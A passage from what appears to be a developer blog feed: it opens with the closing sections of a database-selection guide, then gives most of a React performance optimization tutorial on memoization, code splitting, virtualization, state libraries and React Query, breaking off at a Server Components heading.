Hitting your database for every request is the #1 cause of slow apps. A simple Redis cache can reduce DB load by 80%+.

Request → Check Redis Cache → Cache Hit? → Return cached data
                             → Cache Miss? → Query DB → Store in Redis → Return

5. Picking Based on Hype

Every year there's a new "hot" database. Don't pick a database because:

A FAANG company uses it (they have different problems than you)
It's trending on Hacker News
The benchmark looks amazing (benchmarks are often misleading)

The fix: Pick based on your use case, your team's expertise, and your scale requirements.

6. Not Planning for Growth

Your MVP uses SQLite. Great. But what happens when you get 10,000 concurrent users?

The fix: Choose a database that can grow with you. PostgreSQL is almost always a safe starting point — it can scale vertically for a very long time before you need to distribute.

7. Forgetting About Backups and Recovery

The best database in the world is useless if you lose all your data.

The fix: Before launching, ensure:

Automated backups are running
You've tested restoring from a backup
You have point-in-time recovery enabled
Your backup is in a different region than your primary

Polyglot Persistence

Modern applications often use multiple databases, each handling what it does best. This is called polyglot persistence.

When to Use Multiple Databases

Different access patterns — Transactions in PostgreSQL, caching in Redis, search in Elasticsearch
Performance optimization — Offload read-heavy analytics to a columnar store
AI features — Add a vector DB alongside your primary DB
Event streaming — Use Kafka + a time-series DB for event processing

How to Keep Them in Sync

┌──────────┐    Write    ┌──────────────┐
│   App    │────────────▶│  PostgreSQL   │  (Source of truth)
└──────────┘             └──────┬───────┘
                                │
                         Change Data Capture (CDC)
                         (e.g., Debezium, WAL)
                                │
                    ┌───────────┼───────────┐
                    ▼           ▼           ▼
              ┌──────────┐ ┌────────┐ ┌──────────┐
              │Elastic   │ │ Redis  │ │ Pinecone │
              │search    │ │ Cache  │ │ Vectors  │
              └──────────┘ └────────┘ └──────────┘

Key principle: Have ONE source of truth (usually your relational DB). Everything else is derived and can be rebuilt.

Database Trends 2025–2026

1. AI-Native Databases

Vector search is becoming a standard feature, not a separate database. PostgreSQL (pgvector), MongoDB (Atlas Vector Search), and even Redis now support vector operations. The standalone vector DB market is consolidating.

2. Serverless Databases

Pay-per-query pricing is becoming mainstream. Neon (serverless PostgreSQL), PlanetScale (serverless MySQL), DynamoDB, and Firestore all scale to zero when idle — perfect for startups watching costs.

3. Edge Databases

Databases running at the edge (close to users). Turso (SQLite at the edge), Cloudflare D1, and Durable Objects enable ultra-low-latency reads globally without managing infrastructure.

4. Postgres Is Eating the World

PostgreSQL keeps absorbing features that previously required separate databases:

pgvector → Vector/AI search
TimescaleDB → Time-series
PostGIS → Geospatial
pg_cron → Job scheduling
Full-text search → Built-in

This trend towards Postgres as a universal database is one of the most significant shifts in the data landscape.

5. Unified Query Layers

Tools like Hasura, Prisma, and GraphQL are abstracting away database differences, letting apps query multiple databases through a single API.

Cheat Sheet

Here's your quick-reference guide:

I Need...	Use This	Top Pick
Structured data + transactions	Relational	PostgreSQL
Flexible JSON documents	Document DB	MongoDB
Ultra-fast cache/sessions	Key-Value	Redis
Massive write throughput	Wide-Column	Cassandra
Relationship traversal	Graph DB	Neo4j
Metrics and time-based data	Time-Series	TimescaleDB
Full-text search	Search Engine	Elasticsearch
AI embeddings / similarity	Vector DB	pgvector / Pinecone
SQL at global scale	NewSQL	CockroachDB
Start a new project	Default	PostgreSQL

The Golden Rules

Start with PostgreSQL unless you have a specific reason not to
Add Redis for caching — almost every production app needs it
Add a search engine when full-text search becomes a feature
Add a specialized DB only when PostgreSQL can't handle the workload
Don't optimize for scale you don't have — premature optimization is the root of all evil

Wrapping Up

Choosing the right database is not about finding the "best" database — it's about finding the best fit for your specific use case. Here's the mental model:

Understand your data — Is it structured, semi-structured, graph-shaped, temporal?
Understand your queries — Are they transactional, analytical, search-based, relational?
Understand your scale — Hundreds of users or hundreds of millions?
Start simple — PostgreSQL + Redis covers 90% of applications
Evolve when needed — Add specialized databases as requirements become clear

The best database is the one your team can operate, debug, and scale confidently. Don't let hype drive your architecture — let your use case be the guide.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who's picking a database right now, and follow along for more guides like this!

React Performance Optimization: The Ultimate Guide — From Quick Wins to Advanced Techniques

Ishaan Pandey — Sat, 21 Mar 2026 11:40:51 +0000

React Performance Optimization: The Ultimate Guide — From Quick Wins to Advanced Techniques

Your React app is slow. Maybe it stutters when you type in a search box. Maybe the page takes 6 seconds to load. Maybe that list of 10,000 items makes the browser beg for mercy.

You've probably heard "just use useMemo" or "wrap it in React.memo" — but those are band-aids. Real performance optimization starts with understanding why things are slow and measuring before you optimize.

This guide covers everything: from the rendering model that makes React tick, to quick wins you can ship today, to advanced techniques that make apps genuinely fast. With real code, real metrics, and real opinions about what actually matters.

Why React Apps Get Slow
Understanding React's Rendering Model
Measuring Performance — React DevTools Profiler
Quick Wins
Component Architecture for Performance
Bundle Optimization
Rendering Optimization
Image Optimization
State Management Performance
Network Optimization
Server Components (RSC)
Web Vitals — LCP, INP, CLS
Performance Budget
Real-World Optimization Case Study
The Complete Optimization Checklist

Why React Apps Get Slow

Before we fix anything, let's understand the three main categories of slowness.

+------------------------------------------------------------------+
|                    WHY REACT APPS GET SLOW                        |
+------------------------------------------------------------------+
|                                                                    |
|  +---------------------+  +-----------------+  +----------------+ |
|  | Unnecessary         |  | Large Bundle    |  | Blocking the   | |
|  | Re-renders          |  | Size            |  | Main Thread    | |
|  +---------------------+  +-----------------+  +----------------+ |
|                                                                    |
|  Component renders when   User downloads 2MB   Heavy computation  |
|  nothing actually changed of JS before seeing  blocks painting    |
|                            anything             and interaction    |
|                                                                    |
|  Impact: Laggy UI,        Impact: Slow initial Impact: Frozen UI, |
|  slow interactions        load, poor LCP       bad INP/FID        |
|                                                                    |
+------------------------------------------------------------------+

Here's the uncomfortable truth: most React performance problems are unnecessary re-renders. The component tree re-renders way more than it needs to because of how React's rendering model works. Let's understand that first.

Understanding React's Rendering Model

The Render Cycle

React rendering has three phases:

1. TRIGGER                2. RENDER               3. COMMIT
+-----------------+       +-----------------+     +-----------------+
| State changes   | ----> | React calls     | --> | React updates   |
| (setState,      |       | component       |     | the DOM with    |
|  context change,|       | functions,      |     | the minimal     |
|  parent render) |       | diffs virtual   |     | changes needed  |
|                 |       | DOM trees       |     |                 |
+-----------------+       +-----------------+     +-----------------+
                          (can be expensive         (usually fast)
                           if many components)

The Re-render Cascade

This is the key thing most people miss: when a component re-renders, ALL its children re-render too, regardless of whether their props changed.

function App() {
  const [count, setCount] = useState(0);

  return (
    <div>
      <Header />          {/* Re-renders! Even though it takes no props */}
      <Counter count={count} onClick={() => setCount(c => c + 1)} />
      <Sidebar />         {/* Re-renders! Even though nothing changed */}
      <Footer />          {/* Re-renders! Totally unrelated to count */}
    </div>
  );
}

Every time count changes, App re-renders, and every child gets called again. React will diff the virtual DOM and skip unnecessary DOM updates, but the JavaScript execution of rendering those components still happens. For complex component trees, this adds up fast.

Batched Updates

React 18+ automatically batches state updates, even in async code:

// React 18: Both updates are batched into ONE re-render
async function handleClick() {
  const data = await fetchData();
  setLoading(false);   // Doesn't trigger render yet
  setData(data);       // Both batched -> single render
}

// Before React 18, async code caused TWO renders
// Now it's always batched. Nice.

Measuring Performance — React DevTools Profiler

The golden rule of performance: measure first, optimize second. Never optimize based on guesses.

Setting Up the Profiler

Install React DevTools browser extension
Open DevTools -> Profiler tab
Click "Record", interact with your app, click "Stop"

Reading Flame Graphs

The Profiler shows a flame graph like this:

+--[ App: 12ms ]---------------------------------------------+
|  +--[ Header: 0.5ms ]--+  +--[ Main: 11ms ]-----------+   |
|  |                      |  |  +--[ UserList: 10ms ]--+ |   |
|  +----------------------+  |  |  +--[UserCard: 2ms]-+| |   |
|                            |  |  +--[UserCard: 2ms]-+| |   |
|                            |  |  +--[UserCard: 2ms]-+| |   |
|                            |  |  +--[UserCard: 2ms]-+| |   |
|                            |  |  +--[UserCard: 2ms]-+| |   |
|                            |  +----------------------+  |   |
|                            +----------------------------+   |
+-------------------------------------------------------------+

Wider bars = more time. Colors:
  Gray  = did not render
  Blue  = rendered (fast)
  Yellow/Orange = rendered (slow, investigate!)

What to Look For

Signal	Problem	Fix
Gray components that keep turning blue	Unnecessary re-renders	`React.memo`, state colocation
One component consistently yellow/orange	Expensive render	Memoize calculations, virtualize lists
Many small renders adding up	Death by a thousand cuts	Component splitting, context optimization
Large gap between render and commit	Heavy DOM updates	Virtualization, CSS containment

Why Did This Render?

Enable "Record why each component rendered" in Profiler settings. You'll see exactly why:

UserCard rendered because:
  - Props changed: (onClick)    <-- Likely an inline function

Sidebar rendered because:
  - Parent component rendered   <-- Probably unnecessary

Quick Wins

These are the low-hanging fruit. High impact, low effort.

React.memo — Preventing Unnecessary Re-renders

React.memo skips re-rendering a component if its props haven't changed (shallow comparison).

// WITHOUT memo: Sidebar re-renders every time App renders
function Sidebar({ categories }) {
  console.log('Sidebar rendered!'); // Logs on EVERY App render
  return (
    <nav>
      {categories.map(c => <a key={c.id} href={c.url}>{c.name}</a>)}
    </nav>
  );
}

// WITH memo: Only re-renders when categories actually changes
const Sidebar = React.memo(function Sidebar({ categories }) {
  console.log('Sidebar rendered!'); // Only logs when categories changes
  return (
    <nav>
      {categories.map(c => <a key={c.id} href={c.url}>{c.name}</a>)}
    </nav>
  );
});

When NOT to Use React.memo

React.memo isn't free — it adds a shallow comparison on every render. Don't use it when:

// DON'T memo these:

// 1. Component that almost always receives new props
const Timestamp = React.memo(({ time }) => <span>{time}</span>);
// time changes every second — memo comparison is wasted work

// 2. Component that's super cheap to render
const Dot = React.memo(({ color }) => (
  <div style={{ width: 8, height: 8, background: color, borderRadius: '50%' }} />
));
// Rendering a single div is faster than the memo comparison

// 3. Component that receives children (children are new objects every render)
const Card = React.memo(({ children }) => <div className="card">{children}</div>);
// children is a new React element every time — memo never skips

The Reference Equality Gotcha

This is the #1 reason React.memo "doesn't work" for people:

function App() {
  const [count, setCount] = useState(0);

  // BUG: New object created every render -> memo comparison fails!
  const style = { color: 'red', fontSize: 16 };

  // BUG: New function created every render -> memo comparison fails!
  const handleClick = () => console.log('clicked');

  // BUG: New array created every render!
  const items = data.filter(d => d.active);

  return (
    <MemoizedChild
      style={style}           // New reference every time!
      onClick={handleClick}   // New reference every time!
      items={items}           // New reference every time!
    />
  );
}

The fix: useMemo and useCallback.

useMemo and useCallback — Done Right

function App() {
  const [count, setCount] = useState(0);
  const [data, setData] = useState(initialData);

  // Stable object reference — only changes if dependencies change
  const style = useMemo(() => ({ color: 'red', fontSize: 16 }), []);

  // Stable function reference
  const handleClick = useCallback(() => {
    console.log('clicked');
  }, []);

  // Memoize filtered/computed data
  const activeItems = useMemo(
    () => data.filter(d => d.active),
    [data] // Only recompute when data changes
  );

  return (
    <MemoizedChild
      style={style}
      onClick={handleClick}
      items={activeItems}
    />
  );
}

The Overuse Anti-Pattern

Don't memoize everything. It adds complexity and memory overhead.

// OVERKILL: Don't memoize cheap computations
const fullName = useMemo(() => `${first} ${last}`, [first, last]);
// String concatenation is instant. Just write: const fullName = `${first} ${last}`;

// OVERKILL: Don't useCallback for handlers passed to native elements
const handleChange = useCallback((e) => {
  setValue(e.target.value);
}, []);
// <input onChange={handleChange} /> — native elements don't use React.memo

// WORTH IT: Memoize expensive computations
const sortedData = useMemo(
  () => [...hugeArray].sort((a, b) => a.score - b.score),
  [hugeArray]
);

// WORTH IT: Stable reference passed to memoized child
const handleSubmit = useCallback((formData) => {
  submitToAPI(formData);
}, []);
// <MemoizedForm onSubmit={handleSubmit} />

Rule of thumb: Use useMemo/useCallback when the value is passed as a prop to a memoized child, or when the computation is genuinely expensive (sorting, filtering large arrays, complex calculations).

The Key Prop — Why Stable Keys Matter

// BAD: Using index as key
{items.map((item, index) => (
  <ListItem key={index} item={item} />
))}
// Problem: If items are reordered, inserted, or deleted,
// React matches by index, not identity.
// This causes incorrect state preservation and extra DOM work.

// GOOD: Use a stable unique identifier
{items.map(item => (
  <ListItem key={item.id} item={item} />
))}
// React correctly tracks which item is which across renders.

Here's what goes wrong with index keys:

Before delete:           After deleting "Bob" (index 1):

Index 0: Alice (key=0)   Index 0: Alice (key=0) -> No change, correct
Index 1: Bob   (key=1)   Index 1: Charlie (key=1) -> React thinks Bob updated!
Index 2: Charlie (key=2) -> React thinks Charlie was removed!

With stable IDs:
id_1: Alice (key=id_1)   id_1: Alice (key=id_1) -> No change
id_2: Bob   (key=id_2)   id_3: Charlie (key=id_3) -> No change
id_3: Charlie (key=id_3) -> React correctly removes id_2

Avoiding Inline Objects and Functions in JSX

Every inline object or function creates a new reference each render:

// BAD: Creates new object and function every render
function UserProfile({ user }) {
  return (
    <div>
      <Avatar
        style={{ width: 48, height: 48 }}          // New object each render
        onClick={() => navigate(`/users/${user.id}`)} // New function each render
      />
      <UserStats data={{ posts: user.posts, likes: user.likes }} />
    </div>
  );
}

// GOOD: Hoist constants, memoize what changes
const avatarStyle = { width: 48, height: 48 }; // Defined once, outside component

function UserProfile({ user }) {
  const handleAvatarClick = useCallback(() => {
    navigate(`/users/${user.id}`);
  }, [user.id]);

  const statsData = useMemo(
    () => ({ posts: user.posts, likes: user.likes }),
    [user.posts, user.likes]
  );

  return (
    <div>
      <Avatar style={avatarStyle} onClick={handleAvatarClick} />
      <UserStats data={statsData} />
    </div>
  );
}

Component Architecture for Performance

How you structure your components has a massive impact on performance. These patterns prevent re-renders at the architectural level.

State Colocation — Keep State Close

The most impactful pattern. If state only affects one part of the tree, put it there — not at the top.

// BAD: Search state lives in App, causing everything to re-render on each keystroke
function App() {
  const [searchQuery, setSearchQuery] = useState('');

  return (
    <div>
      <Header />   {/* Re-renders on every keystroke! */}
      <SearchBar value={searchQuery} onChange={setSearchQuery} />
      <ProductGrid />  {/* Re-renders on every keystroke! */}
      <Footer />   {/* Re-renders on every keystroke! */}
    </div>
  );
}

// GOOD: Search state colocated inside SearchBar
function App() {
  return (
    <div>
      <Header />
      <SearchBar />    {/* Only this re-renders when typing */}
      <ProductGrid />
      <Footer />
    </div>
  );
}

function SearchBar() {
  const [searchQuery, setSearchQuery] = useState('');

  // Debounce before lifting results up (if needed)
  const debouncedSearch = useDebouncedCallback((query) => {
    onSearch(query); // Only triggers parent update after debounce
  }, 300);

  return (
    <input
      value={searchQuery}
      onChange={(e) => {
        setSearchQuery(e.target.value);
        debouncedSearch(e.target.value);
      }}
      placeholder="Search products..."
    />
  );
}

Component Splitting — Extract Frequently Updating Parts

// BAD: Clock updates every second, re-rendering everything in the dashboard
function Dashboard() {
  const [time, setTime] = useState(new Date());

  useEffect(() => {
    const id = setInterval(() => setTime(new Date()), 1000);
    return () => clearInterval(id);
  }, []);

  return (
    <div>
      <h1>Dashboard</h1>
      <p>Current time: {time.toLocaleTimeString()}</p>
      <ExpensiveChart data={salesData} />       {/* Re-renders every second! */}
      <ExpensiveTable data={recentOrders} />    {/* Re-renders every second! */}
    </div>
  );
}

// GOOD: Extract the clock into its own component
function Dashboard() {
  return (
    <div>
      <h1>Dashboard</h1>
      <Clock />                                 {/* Only this updates each second */}
      <ExpensiveChart data={salesData} />       {/* Stable, doesn't re-render */}
      <ExpensiveTable data={recentOrders} />    {/* Stable, doesn't re-render */}
    </div>
  );
}

function Clock() {
  const [time, setTime] = useState(new Date());
  useEffect(() => {
    const id = setInterval(() => setTime(new Date()), 1000);
    return () => clearInterval(id);
  }, []);
  return <p>Current time: {time.toLocaleTimeString()}</p>;
}

Children as Props Pattern — Avoiding Re-render Propagation

This pattern is elegant and underused. Components passed as children don't re-render when the parent's state changes, because they were created above the state change.

// BAD: ScrollTracker owns state -> children re-render on scroll
function ScrollTracker() {
  const [scrollY, setScrollY] = useState(0);

  useEffect(() => {
    const handler = () => setScrollY(window.scrollY);
    window.addEventListener('scroll', handler);
    return () => window.removeEventListener('scroll', handler);
  }, []);

  return (
    <div>
      <ScrollIndicator position={scrollY} />
      <ExpensiveContent />    {/* Re-renders on every scroll! */}
    </div>
  );
}

// GOOD: Accept children — they're created outside, so they don't re-render
function ScrollTracker({ children }) {
  const [scrollY, setScrollY] = useState(0);

  useEffect(() => {
    const handler = () => setScrollY(window.scrollY);
    window.addEventListener('scroll', handler);
    return () => window.removeEventListener('scroll', handler);
  }, []);

  return (
    <div>
      <ScrollIndicator position={scrollY} />
      {children}              {/* Does NOT re-render on scroll! */}
    </div>
  );
}

// Usage
function Page() {
  return (
    <ScrollTracker>
      <ExpensiveContent />   {/* Created here, doesn't know about scroll state */}
    </ScrollTracker>
  );
}

Why does this work? Because <ExpensiveContent /> is created in Page, not in ScrollTracker. When ScrollTracker re-renders due to scrollY changing, children is the same React element reference — so React skips re-rendering it.

Bundle Optimization

Your users download your entire JavaScript bundle before they can interact with anything. Smaller bundle = faster load.

Code Splitting with React.lazy + Suspense

// BEFORE: Everything in one bundle
import Dashboard from './pages/Dashboard';
import Settings from './pages/Settings';
import Analytics from './pages/Analytics';

// AFTER: Each page loads only when needed
const Dashboard = React.lazy(() => import('./pages/Dashboard'));
const Settings = React.lazy(() => import('./pages/Settings'));
const Analytics = React.lazy(() => import('./pages/Analytics'));

function App() {
  return (
    <Suspense fallback={<LoadingSpinner />}>
      <Routes>
        <Route path="/" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
        <Route path="/analytics" element={<Analytics />} />
      </Routes>
    </Suspense>
  );
}

BEFORE code splitting:
+-----------------------------------------------+
|              main.bundle.js (2.1 MB)           |
| Dashboard + Settings + Analytics + everything  |
+-----------------------------------------------+
User downloads ALL 2.1 MB on first visit.

AFTER code splitting:
+------------------+
| main.bundle.js   |  (400 KB — shared code)
+------------------+
       |
       +---> dashboard.chunk.js  (300 KB, loaded on /)
       +---> settings.chunk.js   (200 KB, loaded on /settings)
       +---> analytics.chunk.js  (600 KB, loaded on /analytics)

User downloads 400 KB + 300 KB = 700 KB on first visit.
Settings and Analytics load on demand.

Dynamic Imports for Heavy Libraries

// DON'T import heavy libraries at the top level
import { parse } from 'csv-parse';        // 150 KB added to main bundle
import { Chart } from 'chart.js';          // 200 KB added to main bundle

// DO import them dynamically when needed
function ExportButton({ data }) {
  const handleExport = async () => {
    const { parse } = await import('csv-parse');
    const csv = parse(data);
    downloadFile(csv, 'export.csv');
  };

  return <button onClick={handleExport}>Export CSV</button>;
}

// Lazy load heavy components
const ChartView = React.lazy(() => import('./ChartView'));

function Dashboard({ showChart }) {
  return (
    <div>
      <Stats />
      {showChart && (
        <Suspense fallback={<ChartSkeleton />}>
          <ChartView />
        </Suspense>
      )}
    </div>
  );
}

Tree Shaking — What Breaks It

Tree shaking removes unused code from your bundle. But certain patterns prevent it from working.

// BARREL FILES BREAK TREE SHAKING
// utils/index.js (barrel file)
export { formatDate } from './date';
export { formatCurrency } from './currency';
export { parseCSV } from './csv';           // 150 KB library
export { generatePDF } from './pdf';        // 300 KB library

// When you import one thing:
import { formatDate } from './utils';
// Bundler MIGHT pull in everything because it can't prove
// the other exports don't have side effects.

// BETTER: Import directly from the source
import { formatDate } from './utils/date';
// Only date utility is included. CSV and PDF stay out.

// NAMED IMPORTS ENABLE TREE SHAKING
import { debounce } from 'lodash-es';  // Only debounce (~1 KB)
// vs
import _ from 'lodash';                // Entire library (~70 KB)

Analyzing Your Bundle

# With webpack
npx webpack-bundle-analyzer stats.json

# With Next.js
ANALYZE=true next build

# With Vite
npx vite-bundle-visualizer

Bundle analysis shows:

+--[main.js 800KB]--------------------------------------+
|  +--[react-dom 130KB]--+  +--[moment.js 230KB!!]--+  |
|  |                      |  |  Do you really need   |  |
|  |  Can't avoid this    |  |  ALL locales? Use     |  |
|  |                      |  |  date-fns instead     |  |
|  +----------------------+  +-----------------------+  |
|  +--[lodash 70KB]-------+  +--[your-code 200KB]---+  |
|  |  Import individual   |  |                      |  |
|  |  functions instead   |  |  This is fine.       |  |
|  +----------------------+  +----------------------+  |
+-------------------------------------------------------+

Common offenders:
  moment.js (230 KB) -> date-fns (30 KB for what you use)
  lodash (70 KB)     -> lodash-es + named imports (2 KB)
  chart.js (200 KB)  -> Lazy load it

Rendering Optimization

For when you've fixed re-renders and bundle size, but rendering itself is still slow.

Virtualization for Long Lists

Rendering 10,000 DOM nodes is slow no matter what. Virtualization only renders what's visible.

// WITHOUT virtualization: 10,000 DOM nodes in the page
function UserList({ users }) {
  return (
    <div>
      {users.map(user => (      // 10,000 <div>s in the DOM!
        <UserCard key={user.id} user={user} />
      ))}
    </div>
  );
}

// WITH virtualization: Only ~20 visible items rendered
import { useVirtualizer } from '@tanstack/react-virtual';

function UserList({ users }) {
  const parentRef = useRef(null);

  const virtualizer = useVirtualizer({
    count: users.length,       // Total items: 10,000
    getScrollElement: () => parentRef.current,
    estimateSize: () => 60,    // Estimated row height in px
    overscan: 5,               // Render 5 extra items above/below viewport
  });

  return (
    <div ref={parentRef} style={{ height: '600px', overflow: 'auto' }}>
      <div style={{ height: `${virtualizer.getTotalSize()}px`, position: 'relative' }}>
        {virtualizer.getVirtualItems().map(virtualItem => (
          <div
            key={virtualItem.key}
            style={{
              position: 'absolute',
              top: 0,
              transform: `translateY(${virtualItem.start}px)`,
              height: `${virtualItem.size}px`,
              width: '100%',
            }}
          >
            <UserCard user={users[virtualItem.index]} />
          </div>
        ))}
      </div>
    </div>
  );
}

Without virtualization:              With virtualization:
+--[Viewport]--+                     +--[Viewport]--+
| Item 1       |  <- visible         | Item 42      |  <- visible
| Item 2       |  <- visible         | Item 43      |  <- visible
| Item 3       |  <- visible         | Item 44      |  <- visible
+--------------+                     | Item 45      |  <- visible
| Item 4       |  <- rendered        +--------------+
| Item 5       |     but hidden      Only these ~10 items exist
| ...          |                     in the DOM. Everything else
| Item 9,999   |                     is calculated on the fly.
| Item 10,000  |
+--------------+
10,000 DOM nodes                     ~10 DOM nodes

Debouncing and Throttling Expensive Renders

import { useDeferredValue, useMemo } from 'react';

// Option 1: useDeferredValue (React 18+)
function SearchResults({ query }) {
  const deferredQuery = useDeferredValue(query);
  const isStale = query !== deferredQuery;

  const results = useMemo(
    () => expensiveFilter(allItems, deferredQuery),
    [deferredQuery]
  );

  return (
    <div style={{ opacity: isStale ? 0.6 : 1 }}>
      {results.map(item => <ResultCard key={item.id} item={item} />)}
    </div>
  );
}

// Option 2: Manual debounce for search input
function SearchInput({ onSearch }) {
  const [inputValue, setInputValue] = useState('');

  // Debounce the actual search, not the input display
  useEffect(() => {
    const timer = setTimeout(() => {
      onSearch(inputValue);
    }, 300);

    return () => clearTimeout(timer);
  }, [inputValue, onSearch]);

  return (
    <input
      value={inputValue}
      onChange={(e) => setInputValue(e.target.value)}
      placeholder="Type to search..."
    />
  );
}

useTransition — Non-Blocking Updates

useTransition lets you mark state updates as "low priority" so they don't block user input.

function TabContainer() {
  const [activeTab, setActiveTab] = useState('home');
  const [isPending, startTransition] = useTransition();

  const handleTabChange = (tab) => {
    // The tab highlight updates immediately
    setActiveTab(tab);

    // But the expensive content render is non-blocking
    startTransition(() => {
      setActiveTab(tab); // This update can be interrupted
    });
  };

  return (
    <div>
      <TabBar activeTab={activeTab} onTabChange={handleTabChange} />
      <div style={{ opacity: isPending ? 0.7 : 1 }}>
        {isPending && <Spinner />}
        <TabContent tab={activeTab} />  {/* Expensive render */}
      </div>
    </div>
  );
}

Without useTransition:
User clicks tab -> [=====RENDER BLOCKS=====] -> UI updates
                   Input frozen for 300ms

With useTransition:
User clicks tab -> Tab highlight updates instantly
                -> [==RENDER IN BACKGROUND==] -> Content updates
                   Input remains responsive

Suspense Boundaries for Streaming

// Strategic Suspense boundaries = progressive loading
function Dashboard() {
  return (
    <div className="dashboard">
      {/* Critical: loads first */}
      <Suspense fallback={<HeaderSkeleton />}>
        <Header />
      </Suspense>

      <div className="dashboard-grid">
        {/* Important: loads second */}
        <Suspense fallback={<StatsSkeleton />}>
          <StatsCards />
        </Suspense>

        {/* Below the fold: loads last */}
        <Suspense fallback={<ChartSkeleton />}>
          <RevenueChart />
        </Suspense>

        <Suspense fallback={<TableSkeleton />}>
          <RecentOrders />
        </Suspense>
      </div>
    </div>
  );
}

// Each section can load independently without blocking others

Image Optimization

Images are usually the largest assets on a page. Optimizing them has an outsized impact on LCP.

The Basics

// BAD: Unoptimized image
<img src="/hero-image.png" />
// - Full resolution (3000x2000) loaded on mobile
// - No lazy loading
// - No size hints (causes layout shift = bad CLS)
// - PNG instead of modern format

// GOOD: Optimized with next/image
import Image from 'next/image';

<Image
  src="/hero-image.jpg"
  alt="Hero banner"
  width={1200}
  height={600}
  priority                  // LCP image: preload it
  sizes="(max-width: 768px) 100vw, 1200px"
  // Automatically:
  // - Serves WebP/AVIF
  // - Responsive srcset
  // - Lazy loads by default (unless priority)
  // - Prevents layout shift (width/height reserved)
/>

Manual Optimization (Without Next.js)

function OptimizedImage({ src, alt, width, height, priority = false }) {
  return (
    <picture>
      {/* Modern format first */}
      <source srcSet={`${src}.avif`} type="image/avif" />
      <source srcSet={`${src}.webp`} type="image/webp" />

      <img
        src={`${src}.jpg`}
        alt={alt}
        width={width}
        height={height}
        loading={priority ? 'eager' : 'lazy'}
        decoding="async"
        fetchPriority={priority ? 'high' : 'auto'}
        style={{ maxWidth: '100%', height: 'auto' }}
      />
    </picture>
  );
}

Image Optimization Checklist

Technique	Impact	Effort
Lazy loading (`loading="lazy"`)	High	Low
Modern formats (WebP/AVIF)	High	Medium
Responsive images (`srcset`)	High	Medium
Width/height attributes (prevent CLS)	High	Low
`priority`/`fetchpriority` for LCP image	Medium	Low
CDN with image transformation	High	Medium
Blur placeholder while loading	Medium	Low

State Management Performance

The Context Re-render Problem

React Context triggers a re-render for every consumer when the context value changes — even if the consumer only uses a part of the value that didn't change.

// BAD: Monolithic context — everything re-renders on any change
const AppContext = createContext();

function AppProvider({ children }) {
  const [user, setUser] = useState(null);
  const [theme, setTheme] = useState('light');
  const [notifications, setNotifications] = useState([]);

  const value = {
    user, setUser,
    theme, setTheme,
    notifications, setNotifications,
  };

  return (
    <AppContext.Provider value={value}>
      {children}
    </AppContext.Provider>
  );
}

// Problem: When notifications update, EVERY component that
// uses AppContext re-renders — even those that only read theme!

// GOOD: Split contexts by update frequency
const UserContext = createContext();
const ThemeContext = createContext();
const NotificationContext = createContext();

function AppProvider({ children }) {
  return (
    <UserContext.Provider value={useUserState()}>
      <ThemeContext.Provider value={useThemeState()}>
        <NotificationContext.Provider value={useNotificationState()}>
          {children}
        </NotificationContext.Provider>
      </ThemeContext.Provider>
    </UserContext.Provider>
  );
}

// Now theme consumers don't re-render when notifications change

Zustand — Selectors for Surgical Re-renders

Zustand lets components subscribe to specific slices of state. Only the slice changing triggers a re-render.

import { create } from 'zustand';

const useStore = create((set) => ({
  user: null,
  theme: 'light',
  notifications: [],
  cartItems: [],

  setUser: (user) => set({ user }),
  setTheme: (theme) => set({ theme }),
  addNotification: (n) => set((s) => ({
    notifications: [...s.notifications, n]
  })),
  addToCart: (item) => set((s) => ({
    cartItems: [...s.cartItems, item]
  })),
}));

// Component only re-renders when theme changes
function ThemeSwitcher() {
  const theme = useStore((state) => state.theme);
  const setTheme = useStore((state) => state.setTheme);
  // Notifications changing? Cart updating? This component doesn't care.
  return <button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>{theme}</button>;
}

// Component only re-renders when cart changes
function CartBadge() {
  const itemCount = useStore((state) => state.cartItems.length);
  return <span className="badge">{itemCount}</span>;
}

Jotai — Atomic State

Jotai takes it further with atoms — each piece of state is independent.

import { atom, useAtom, useAtomValue } from 'jotai';

// Define atoms
const userAtom = atom(null);
const themeAtom = atom('light');
const cartAtom = atom([]);

// Derived atom — computed from other atoms
const cartTotalAtom = atom((get) => {
  const cart = get(cartAtom);
  return cart.reduce((sum, item) => sum + item.price, 0);
});

// Components subscribe to exactly the atoms they need
function CartTotal() {
  const total = useAtomValue(cartTotalAtom);
  // Only re-renders when cart changes, nothing else
  return <span>${total.toFixed(2)}</span>;
}

Network Optimization

React Query (TanStack Query) — Smart Caching

import { useQuery, useQueryClient } from '@tanstack/react-query';

function UserProfile({ userId }) {
  const { data, isLoading, error } = useQuery({
    queryKey: ['user', userId],
    queryFn: () => fetchUser(userId),
    staleTime: 5 * 60 * 1000,  // Data is fresh for 5 minutes (no refetch)
    gcTime: 30 * 60 * 1000,    // Keep in cache for 30 minutes
  });

  if (isLoading) return <ProfileSkeleton />;
  if (error) return <ErrorState error={error} />;

  return <Profile user={data} />;
}

// Prefetching — load data before user navigates
function UserListItem({ user }) {
  const queryClient = useQueryClient();

  const handleHover = () => {
    // Start fetching profile when user hovers the link
    queryClient.prefetchQuery({
      queryKey: ['user', user.id],
      queryFn: () => fetchUser(user.id),
      staleTime: 5 * 60 * 1000,
    });
  };

  return (
    <Link to={`/users/${user.id}`} onMouseEnter={handleHover}>
      {user.name}
    </Link>
  );
}

Optimistic Updates

Make the UI feel instant by updating before the server confirms.

function LikeButton({ postId, initialLikes }) {
  const queryClient = useQueryClient();

  const likeMutation = useMutation({
    mutationFn: () => likePost(postId),

    // Optimistically update the UI
    onMutate: async () => {
      await queryClient.cancelQueries({ queryKey: ['post', postId] });

      const previous = queryClient.getQueryData(['post', postId]);

      queryClient.setQueryData(['post', postId], (old) => ({
        ...old,
        likes: old.likes + 1,
        isLiked: true,
      }));

      return { previous };
    },

    // If the mutation fails, roll back
    onError: (err, variables, context) => {
      queryClient.setQueryData(['post', postId], context.previous);
      toast.error('Failed to like post');
    },

    // Always refetch to sync with server
    onSettled: () => {
      queryClient.invalidateQueries({ queryKey: ['post', postId] });
    },
  });

  return (
    <button onClick={() => likeMutation.mutate()}>
      {likeMutation.variables ? '...' : `Like (${initialLikes})`}
    </button>
  );
}

Without optimistic updates:
Click -> [waiting 200ms...] -> UI updates
User notices the delay.

With optimistic updates:
Click -> UI updates instantly -> [server confirms in background]
         (rolls back on error)
Feels instant.

Server Components (RSC)

